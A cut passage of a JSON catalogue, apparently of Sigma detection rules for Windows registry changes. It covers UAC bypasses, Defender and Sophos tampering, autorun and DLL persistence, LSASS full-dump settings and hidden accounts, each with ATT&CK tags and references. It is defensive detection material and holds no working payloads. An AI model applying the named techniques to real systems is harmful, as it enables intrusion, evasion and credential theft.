"277dc340-0540-42e7-8efb-5ff460045e07", "value": "Service Binary in Uncommon Folder" }, { "description": "Remote desktop is a common feature in operating systems.\nIt allows a user to log into an interactive session with a system desktop graphical user interface on a remote system.\nMicrosoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).\n", "meta": { "author": "frack113", "creation_date": "2022/01/01", "falsepositive": [ "Unknown" ], "filename": "registry_set_change_rdp_port.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.001/T1021.001.md#atomic-test-1---rdp-to-domaincontroller", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_rdp_port.yml" ], "tags": [ "attack.persistence", "attack.t1547.010" ] }, "related": [ { "dest-uuid": "43881e51-ac74-445b-b4c6-f9f9e9bf23fe", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "509e84b9-a71a-40e0-834f-05470369bd1e", "value": "Changing RDP Port to Non Standard Number" }, { "description": "Detects when attackers or tools disable Windows Defender functionalities via the windows registry", "meta": { "author": "AlertIQ, Ján Trenčanský, frack113, Nasreddine Bencherchali", "creation_date": "2022/08/01", "falsepositive": [ "Administrator actions" ], "filename": "registry_set_windows_defender_tamper.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", "https://admx.help/?Category=Windows_7_2008R2&Policy=Microsoft.Policies.WindowsDefender::SpyNetReporting", "https://gist.github.com/anadr/7465a9fde63d41341136949f14c21105", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_windows_defender_tamper.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "0eb46774-f1ab-4a74-8238-1155855f2263", "value": "Disable Windows Defender Functionalities Via Registry Keys" }, { "description": "Detects the addition of new root, CA or AuthRoot certificates to the Windows registry", "meta": { "author": "frack113", "creation_date": "2022/04/04", "falsepositive": [ "Unknown" ], "filename": "registry_set_install_root_or_ca_certificat.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md#atomic-test-6---add-root-certificate-to-currentuser-certificate-store", "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_install_root_or_ca_certificat.yml" ], "tags": [ "attack.impact", "attack.t1490" ] }, "related": [ { "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "d223b46b-5621-4037-88fe-fda32eead684", "value": "New Root or CA or AuthRoot Certificate to Store" }, { "description": "Detects the pattern of UAC Bypass using registry key manipulation of sdclt.exe (e.g. UACMe 53)", "meta": { "author": "Omer Yampel, Christian Burkard", "creation_date": "2017/03/17", "falsepositive": [ "Unknown" ], "filename": "registry_set_uac_bypass_sdclt.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/", "https://github.com/hfiref0x/UACME", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_sdclt.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002", "car.2019-04-001" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5b872a46-3b90-45c1-8419-f675db8053aa", "value": "UAC Bypass via Sdclt" }, { "description": "Detects when an attacker modifies the registry value of the \"hhctrl\" to point to a custom binary", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/21", "falsepositive": [ "Unlikely" ], "filename": "registry_set_hhctrl_persistence.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://www.hexacorn.com/blog/2018/04/23/beyond-good-ol-run-key-part-77/", "https://persistence-info.github.io/Data/hhctrl.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hhctrl_persistence.yml" ], "tags": [ "attack.persistence" ] }, "uuid": "f10ed525-97fe-4fed-be7c-2feecca941b1", "value": "Persistence Via Hhctrl.ocx" }, { "description": "Detects the modification of the registry to disable a system restore on the computer", "meta": { "author": "frack113", "creation_date": "2022/04/04", "falsepositive": [ "Unknown" ], "filename": "registry_set_disable_system_restore.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-9---disable-system-restore-through-registry", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_system_restore.yml" ], "tags": [ "attack.impact", "attack.t1490" ] }, "related": [ { "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5de03871-5d46-4539-a82d-3aa992a69a83", "value": "Registry Disable System Restore" }, { "description": "Detects potential persistence behaviour using the windows telemetry registry key.\nWindows telemetry makes use of the binary CompatTelRunner.exe to run a variety of commands and perform the actual telemetry collections.\nThis binary was created to be easily extensible, and to that end, it relies on the registry to instruct on which commands to run.\nThe problem is, it will run any arbitrary command without restriction of location or type.\n", "meta": { "author": "Lednyov Alexey, oscd.community, Sreeman", "creation_date": "2020/10/16", "falsepositive": [ "Unknown" ], "filename": "registry_set_telemetry_persistence.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_telemetry_persistence.yml" ], "tags": [ "attack.persistence", "attack.t1053.005" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "73a883d0-0348-4be4-a8d8-51031c2564f8", "value": "Potential Registry Persistence Attempt Via Windows Telemetry" }, { "description": "Detects the modification of Outlook Security Setting to allow unprompted execution. Goes with win_outlook_c2_macro_creation.yml and is particularly interesting if both events occur near to each other.", "meta": { "author": "@ScoubiMtl", "creation_date": "2021/04/05", "falsepositive": [ "Unlikely" ], "filename": "registry_set_outlook_c2_registry_key.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_outlook_c2_registry_key.yml" ], "tags": [ "attack.persistence", "attack.command_and_control", "attack.t1137", "attack.t1008", "attack.t1546" ] }, "related": [ { "dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e3b50fa5-3c3f-444e-937b-0a99d33731cd", "value": "Outlook C2 Registry Key" }, { "description": "Detects changes to the registry for the currently logged-in user. In order to disable PowerShell module logging, script block logging or transcription and script execution logging", "meta": { "author": "frack113", "creation_date": "2022/04/02", "falsepositive": [ "Unknown" ], "filename": "registry_set_powershell_logging_disabled.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-32---windows-powershell-logging-disabled", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_logging_disabled.yml" ], "tags": [ "attack.defense_evasion", "attack.t1564.001" ] }, "related": [ { "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fecfd1a1-cc78-4313-a1ea-2ee2e8ec27a7", "value": "PowerShell Logging Disabled Via Registry Key Tampering" }, { "description": "Detects when the 'AllowMultipleTSSessions' value is enabled.\nWhich allows for multiple Remote Desktop connection sessions to be opened at once.\nThis is often used by attacker as a way to connect to an RDP session without disconnecting the other users\n", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/09", "falsepositive": [ "Legitmate use of the multi session functionality" ], "filename": "registry_set_winlogon_allow_multiple_tssessions.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_winlogon_allow_multiple_tssessions.yml" ], "tags": [ "attack.persistence" ] }, "uuid": "f7997770-92c3-4ec9-b112-774c4ef96f96", "value": "Winlogon AllowMultipleTSSessions Enable" }, { "description": "Detect set DisallowRun to 1 to prevent user running specific computer program", "meta": { "author": "frack113", "creation_date": "2022/08/19", "falsepositive": [ "Unknown" ], "filename": "registry_set_disallowrun_execution.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disallowrun_execution.yml" ], "tags": [ "attack.defense_evasion", "attack.t1112" ] }, "uuid": "275641a5-a492-45e2-a817-7c81e9d9d3e9", "value": "Add DisallowRun Execution to Registry" }, { "description": "Hides the file extension through modification of the registry", "meta": { "author": "frack113", "creation_date": "2022/01/22", "falsepositive": [ "Administrative scripts" ], "filename": "registry_set_change_security_zones.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-4---add-domain-to-trusted-sites-zone", "https://docs.microsoft.com/en-us/troubleshoot/developer/browsers/security-privacy/ie-security-zones-registry-entries", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_security_zones.yml" ], "tags": [ "attack.persistence", "attack.t1137" ] }, "related": [ { "dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "45e112d0-7759-4c2a-aa36-9f8fb79d3393", "value": "IE Change Domain Zone" }, { "description": "Detects when an attacker adds a new \"DLLPathOverride\" value to the \"Natural Language\" key in order to achieve persistence which will get invoked by \"SearchIndexer.exe\" process", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/21", "falsepositive": [ "Unknown" ], "filename": "registry_set_persistence_natural_language.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://www.hexacorn.com/blog/2018/12/30/beyond-good-ol-run-key-part-98/", "https://persistence-info.github.io/Data/naturallanguage6.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_natural_language.yml" ], "tags": [ "attack.persistence" ] }, "uuid": "a1b1fd53-9c4a-444c-bae0-34a330fc7aa8", "value": "Potential Persistence Via DLLPathOverride" }, { "description": "Detects setting a custom URL for OneDriveStandaloneUpdater.exe to download a file from the Internet without executing any\nanomalous executables with suspicious arguments. The downloaded file will be in C:\\Users\\redacted\\AppData\\Local\\Microsoft\\OneDrive\\StandaloneUpdaterreSignInSettingsConfig.json\n", "meta": { "author": "frack113", "creation_date": "2022/05/28", "falsepositive": [ "Unknown" ], "filename": "registry_set_lolbin_onedrivestandaloneupdater.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/OneDriveStandaloneUpdater/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_lolbin_onedrivestandaloneupdater.yml" ], "tags": [ "attack.command_and_control", "attack.t1105" ] }, "related": [ { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3aff0be0-7802-4a7e-a4fa-c60c74bc5e1d", "value": "Lolbas OneDriveStandaloneUpdater.exe Proxy Download" }, { "description": "Detects UAC bypass method using Windows event viewer", "meta": { "author": "Florian Roth", "creation_date": "2017/03/19", "falsepositive": [ "Unknown" ], "filename": "registry_set_uac_bypass_eventvwr.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", "https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cdbd1dfe7446f3f51f?environmentId=100", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_eventvwr.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1548.002", "car.2019-04-001" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7c81fec3-1c1d-43b0-996a-46753041b1b6", "value": "UAC Bypass via Event Viewer - Registry Set" }, { "description": "Detects modification of autostart extensibility point (ASEP) in registry.", "meta": { "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", "creation_date": "2019/10/25", "falsepositive": [ "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason" ], "filename": "registry_set_asep_reg_keys_modification_wow6432node_currentversion.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node_currentversion.yml" ], "tags": [ "attack.persistence", "attack.t1547.001" ] }, "uuid": "480421f9-417f-4d3b-9552-fd2728443ec8", "value": "Wow6432Node Windows NT CurrentVersion Autorun Keys Modification" }, { "description": "Detects when an attacker register a new SIP provider for persistence and defense evasion", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/21", "falsepositive": [ "Might trigger if a legitimate new SIP provider is registered. But this is not a common occurrence in an environment and should be investigated either way" ], "filename": "registry_set_persistence_mpnotify.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://persistence-info.github.io/Data/mpnotify.html", "https://www.youtube.com/watch?v=ggY3srD9dYs&ab_channel=GrzegorzTworek", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_mpnotify.yml" ], "tags": [ "attack.persistence" ] }, "uuid": "92772523-d9c1-4c93-9547-b0ca500baba3", "value": "Potential Persistence Via Mpnotify" }, { "description": "Detects modification of autostart extensibility point (ASEP) in registry.", "meta": { "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", "creation_date": "2019/10/25", "falsepositive": [ "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason" ], "filename": "registry_set_asep_reg_keys_modification_currentcontrolset.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentcontrolset.yml" ], "tags": [ "attack.persistence", "attack.t1547.001" ] }, "uuid": "f674e36a-4b91-431e-8aef-f8a96c2aca35", "value": "CurrentControlSet Autorun Keys Modification" }, { "description": "Detects tampering with EventLog service \"file\" key. In order to change the default location of an Evtx file. This technique is used to tamper with log collection and alerting", "meta": { "author": "D3F7A5105", "creation_date": "2023/01/02", "falsepositive": [ "Unknown" ], "filename": "registry_set_evtx_file_key_tamper.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://learn.microsoft.com/en-us/windows/win32/eventlog/eventlog-key", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_evtx_file_key_tamper.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.002" ] }, "related": [ { "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0cb8d736-995d-4ce7-a31e-1e8d452a1459", "value": "Potential EventLog File Location Tampering" }, { "description": "Detects when an attacker adds a new \"Debugger\" value to the \"AeDebug\" key in order to achieve persistence which will get invoked when an application crashes", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/21", "falsepositive": [ "Legitimate use of the key to setup a debugger. Which is often the case on developers machines" ], "filename": "registry_set_aedebug_persistence.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows/win32/debug/configuring-automatic-debugging", "https://persistence-info.github.io/Data/aedebug.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_aedebug_persistence.yml" ], "tags": [ "attack.persistence" ] }, "uuid": "092af964-4233-4373-b4ba-d86ea2890288", "value": "Add Debugger Entry To AeDebug For Persistence" }, { "description": "Detects applications being added to the \"allowed applications\" list of exploit guard in order to bypass controlled folder settings", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/05", "falsepositive": [ "Unlikely" ], "filename": "registry_set_exploit_guard_susp_allowed_apps.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2017/10/23/windows-defender-exploit-guard-reduce-the-attack-surface-against-next-generation-malware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_exploit_guard_susp_allowed_apps.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "42205c73-75c8-4a63-9db1-e3782e06fda0", "value": "Suspicious Application Allowed Through Exploit Guard" }, { "description": "Detects modification of autostart extensibility point (ASEP) in registry.", "meta": { "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)", "creation_date": "2019/10/25", "falsepositive": [ "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason", "Legitimate administrator sets up autorun keys for legitimate reason" ], "filename": "registry_set_asep_reg_keys_modification_system_scripts.yml", "level": "medium", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_system_scripts.yml" ], "tags": [ "attack.persistence", "attack.t1547.001" ] }, "uuid": "e7a2fd40-3ae1-4a85-bf80-15cf624fb1b1", "value": "System Scripts Autorun Keys Modification" }, { "description": "Detects the setting of the \"DumpType\" registry value to \"2\" which stands for a \"Full Dump\". Technique such as LSASS Shtinkering requires this value to be \"2\" in order to dump LSASS.", "meta": { "author": "@pbssubhash", "creation_date": "2022/12/08", "falsepositive": [ "Legitimate application that needs to do a full dump of their process" ], "filename": "registry_set_lsass_usermode_dumping.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/deepinstinct/Lsass-Shtinkering", "https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Asaf%20Gilboa%20-%20LSASS%20Shtinkering%20Abusing%20Windows%20Error%20Reporting%20to%20Dump%20LSASS.pdf", "https://learn.microsoft.com/en-us/windows/win32/wer/collecting-user-mode-dumps", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_lsass_usermode_dumping.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "33efc23c-6ea2-4503-8cfe-bdf82ce8f719", "value": "Lsass Full Dump Request Via DumpType Registry Settings" }, { "description": "Detects the installation of a Callout DLL via CalloutDlls and CalloutEnabled parameter in Registry, which can be used to execute code in context of the DHCP server (restart required)", "meta": { "author": "Dimitrios Slamaris", "creation_date": "2017/05/15", "falsepositive": [ "Unknown" ], "filename": "registry_set_dhcp_calloutdll.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html", "https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx", "https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dhcp_calloutdll.yml" ], "tags": [ "attack.defense_evasion", "attack.t1574.002", "attack.t1112" ] }, "uuid": "9d3436ef-9476-4c43-acca-90ce06bdf33a", "value": "DHCP Callout DLL Installation" }, { "description": "Detects when an attacker set the registry key \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\Userlist\" to \"0\" in order to hide user account.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/12", "falsepositive": [ "Unknown" ], "filename": "registry_set_special_accounts.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_special_accounts.yml" ], "tags": [ "attack.defense_evasion", "attack.t1564.002" ] }, "related": [ { "dest-uuid": "8c4aef43-48d5-49aa-b2af-c0cd58d30c3d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f8aebc67-a56d-4ec9-9fbe-7b0e8b7b4efd", "value": "Hide User Account Via Special Accounts Reg Key" }, { "description": "Bypasses User Account Control using a fileless method", "meta": { "author": "frack113", "creation_date": "2022/01/05", "falsepositive": [ "Unknown" ], "filename": "registry_set_bypass_uac_using_delegateexecute.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-iexecutecommand", "https://devblogs.microsoft.com/oldnewthing/20100312-01/?p=14623", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-7---bypass-uac-using-sdclt-delegateexecute", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bypass_uac_using_delegateexecute.yml" ], "tags": [ "attack.privilege_escalation", "attack.defense_evasion", "attack.t1548.002" ] }, "related": [ { "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "46dd5308-4572-4d12-aa43-8938f0184d4f", "value": "Bypass UAC Using DelegateExecute" }, { "description": "Detects modification of the registry settings used for Internet Explorer and other Windows components that use these settings. An attacker can abuse this registry key to add a domain to the trusted sites Zone or insert javascript for persistence", "meta": { "author": "frack113", "creation_date": "2022/01/22", "falsepositive": [ "Unknown" ], "filename": "registry_set_persistence_ie.yml", "level": "low", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-5---javascript-in-registry", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-4---add-domain-to-trusted-sites-zone", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_ie.yml" ], "tags": [ "attack.defense_evasion", "attack.t1112" ] }, "uuid": "d88d0ab2-e696-4d40-a2ed-9790064e66b3", "value": "Modification of IE Registry Settings" }, { "description": "Detects that a powershell code is written to the registry as a service.", "meta": { "author": "oscd.community, Natalia Shornikova", "creation_date": "2020/10/06", "falsepositive": [ "Unknown" ], "filename": "registry_set_powershell_as_service.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_as_service.yml" ], "tags": [ "attack.execution", "attack.t1569.002" ] }, "related": [ { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4a5f5a5e-ac01-474b-9b4e-d61298c9df1d", "value": "PowerShell as a Service in Registry" }, { "description": "This rule detects cor_enable_profiling and cor_profiler environment variables being set and configured.", "meta": { "author": "Jose Rodriguez (@Cyb3rPandaH), OTR (Open Threat Research)", "creation_date": "2020/09/10", "falsepositive": "No established falsepositives", "filename": "registry_set_enabling_cor_profiler_env_variables.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://twitter.com/jamieantisocial/status/1304520651248668673", "https://www.sans.org/cyber-security-summit/archives", "https://www.slideshare.net/JamieWilliams130/started-from-the-bottom-exploiting-data-sources-to-uncover-attck-behaviors", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_enabling_cor_profiler_env_variables.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "attack.defense_evasion", "attack.t1574.012" ] }, "related": [ { "dest-uuid": "ffeb0780-356e-4261-b036-cfb6bd234335", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ad89044a-8f49-4673-9a55-cbd88a1b374f", "value": "Enabling COR Profiler Environment Variables" }, { "description": "Detects tamper attempts to sophos av functionality via registry key modification", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/02", "falsepositive": [ "Some FP may occure when the feature is disabled by the AV itself, you should always investigate if the action was legitimate" ], "filename": "registry_set_sophos_av_tamaper.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_sophos_av_tamaper.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "9f4662ac-17ca-43aa-8f12-5d7b989d0101", "value": "Tamper With Sophos AV Registry Keys" }, { "description": "Detects a suspicious printer driver installation with an empty Manufacturer value", "meta": { "author": "Florian Roth", "creation_date": "2020/07/01", "falsepositive": [ "Alerts on legitimate printer drivers that do not set any more details in the Manufacturer value" ], "filename": "registry_set_susp_printer_driver.yml", "level": "high", "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ "https://twitter.com/SBousseaden/status/1410545674773467140", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_printer_driver.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1574", "cve.2021.1675" ] }, "related": [ { "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e0813366-0407-449a-9869-a2db1119dc41", "value": "Suspicious Printer Driver Empty Manufacturer" }, { "description": "Detects processes setting a new DLL in DllName in under HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProvider.\nAdversaries may abuse time providers to execute DLLs when the system boots.\nThe Windows Time service (W32Time) enables time synchronization across and within domains.\n", "meta": { "author": "frack113", "creation_date": "2022/06/19", "falsepositive": [ "Unknown" ], "filename": "registry_set_timeproviders_dllname.yml", "level": "high", 